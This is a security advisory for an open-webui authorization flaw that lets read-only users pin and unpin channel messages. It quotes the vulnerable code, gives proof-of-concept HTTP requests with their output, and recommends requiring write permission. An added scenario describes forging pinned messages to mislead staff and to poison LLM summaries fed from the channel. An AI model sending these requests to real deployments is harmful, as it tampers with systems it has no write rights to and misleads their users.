CVE-2026-45386: open-webui: auth bypass lets read-only users pin messages

### Summary `Pin/Unpin` is a write operation (modifies the message's `is_pinned `, `pinned_by`, `pinned_at` fields), but in standard channels it only checks `read` permission, allowing users with read-only access to pin/unpin any message. ### Details https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/backend/open_webui/routers/channels.py#L1218 ``` @router.post('/{id}/messages/{message_id}/pin', response_model=Optional[MessageUserResponse]) async def pin_channel_message( request: Request, id: str, message_id: str, form_data: PinMessageForm, user=Depends(get_verified_user), db: Session = Depends(get_session), ): check_channels_access(request) channel = Channels.get_channel_by_id(id, db=db) if not channel: raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=ERROR_MESSAGES.NOT_FOUND) if channel.type in ['group', 'dm']: if not Channels.is_user_channel_member(channel.id, user.id, db=db): raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT()) else: if user.role != 'admin' and not channel_has_access(user.id, channel, permission='read', db=db): raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT()) ``` The `channel_has_access` function https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/backend/open_webui/routers/channels.py#L75 checks user permissions against the `AccessGrants` table: ``` def channel_has_access( user_id: str, channel: ChannelModel, permission: str = 'read', # 'read' or 'write' strict: bool = True, db: Optional[Session] = None, ) -> bool: if AccessGrants.has_access( user_id=user_id, resource_type='channel', resource_id=channel.id, permission=permission, db=db, ): return True # ... ``` The `AccessGrant` table distinguishes between `read` and `write` permission levels. ### PoC `admin` creates Standard Channel with Read-Only Access for `test1` : ``` POST /api/v1/channels/create Authorization: Content-Type: application/json { "name": "pin-test-standard", "access_grants": [ { "principal_type": "user", "principal_id": "cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c", "permission": "read" } ] } ``` `admin` posts a Message in the Channel, and `test1` has `read` permission only. <img width="1024" height="423" alt="image" src="https://github.com/user-attachments/assets/e9912bd7-3908-44f2-8984-22d0535dc66f" /> `test1` attempts to Pin Message: ``` POST /api/v1/channels/0699b656-578f-4976-94b0-65e2b19752fd/messages/4797359b-aad5-4081-9617-e8ca58524a87/pin Authorization: Bearer <test1_token> Content-Type: application/json { "is_pinned": true } ``` ``` { "id": "4797359b-aad5-4081-9617-e8ca58524a87", "user_id": "28c859b7-84e2-4217-b4d7-3f0e43f7c4b9", "is_pinned": true, "pinned_by": "cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c", "pinned_at": 1774716314908288719, "content": "Admin announcement in standard channel - test1 should NOT be able to pin this" } ``` Successfully pinned admin's message. `pinned_by` records test1's user ID. <img width="1024" height="350" alt="image" src="https://github.com/user-attachments/assets/705b1f45-95a9-4e91-8a74-10bdbccde0b8" /> `test1` (Read-Only) can alse Unpin Message. The Pin/Unpin endpoint in standard channels only checks `read` permission, allowing read-only users to pin/unpin any message. ### Impact Read-only users can pin irrelevant messages, disrupting important information display in the channel . ### Recommended Fix Change the Pin endpoint's permission check from `read` to `write` .

An attacker granted read-only access to an internal open-webui channel — for example, a contractor account or a lateral-movement pivot using a compromised low-privilege credential — sends a crafted POST to '/api/v1/channels/{channel_id}/messages/{message_id}/pin' with their bearer token and payload {"is_pinned": true}. The endpoint validates only read permission, which the attacker holds, and succeeds. The attacker unpins a legitimate security advisory pinned by an administrator, then pins a fabricated message such as 'No active incidents — system healthy' to manipulate the information visible to channel members. If the channel feeds an LLM agent via context injection or RAG, the poisoned pinned content may influence AI-generated summaries, incident triage decisions, or automated responses.